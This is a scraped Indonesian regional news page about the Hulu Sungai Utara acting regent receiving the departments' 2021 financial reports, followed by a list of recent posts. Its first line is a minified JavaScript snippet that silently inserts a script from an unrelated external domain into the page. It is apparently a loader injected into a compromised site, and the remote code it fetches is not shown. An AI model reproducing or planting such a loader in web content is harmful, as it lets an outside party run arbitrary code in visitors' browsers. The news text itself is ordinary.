(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

SKPD Serahkan Laporan Keuangan Tahun 2021, Ini Kata Plt Bupati HSU


KANALKALIMANTAN.COM, AMUNTAI – Pelaksana tugas (Plt) Bupati Hulu Sungai Utara (HSU) H Husairi Abdi menekankan kepada seluruh kepala SKPD agar berdedikasi, berkomitmen tinggi, memiliki loyalitas, dan tanggung jawab penyampaian laporan keuangan.

Hal ini disampaikan Plt Bupati HSU H Husairi Abdi saat penyerahan laporan keuangan Satuan Kerja Perangkat Daerah (SKPD) di lingkungan Pemkab HSU tahun 2021, di Gedung Agung, Senin (14/2/2022).

Plt Bupati HSU Husairi Abdi, mengucapkan terima kasih kepada seluruh kepala SKPD di lingkungan Pemkab HSU atas dukungan dan kerjasama selama ini, baik dalam pelaksanaan pembangunan, penyelenggaraan pemerintahan maupun pembinaan kemasyarakatan.

Kepala SKPD, kata Husairi, dituntut memeliki dedikasi, komitmen yang tinggi, loyalitas dan tanggung jawab dalam hal penyampaian laporan keuangan.

 

Baca juga : Mendaki Gunung Pamaton, Youtuber Amuntai Tersesat Sejak Dua Hari Lalu Ditemukan!

“Penyusunan laporan keuangan SKPD harus adanya kerjasama dukungan dari semua kepala SKPD agar bisa bekerja keras, bekerja cerdas, bekerja cermat, bekerja tuntas dan bekerja ikhlas,” ujarnya.

Sebagaimana dalam Permendagri Nomor 77 Tahun 2020 tentang pedoman teknis pengelolaan keuangan daerah bahwa salah salah satu tugas kepala SKPD selaku Pengguna Anggaran (PA) adalah menyusun dan menyampaikan laporan keuangan SKPD.

Sementara itu, Plt Kepala Badan Pengelola Keuangan dan Aset Daerah (BPKAD) HSU, Joko Sumarsono mengatakan laporan keuangan SKPD disusun dan disajikan kepala SKPD selaku pengguna anggaran sebagai entitas akuntansi paling sedikit meliputi, laporan operasional (LO), laporan perubahan ekuitas (LPE) dan catatan atas laporan keuangan (CALK).

“Laporan keuangan SKPD Pemkab HSU unaudited tahun 2021 tersebut nantinya akan disampaikan kepada Kepala Daerah oleh Sekretaris Daerah dan sudah harus diterima oleh BPK RI paling lambat tiga bulan setelah tahun anggaran berakhir,” jelasnya.
(kanalkalimantan.com/dew)

Reporter : dew
Editor : bie


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.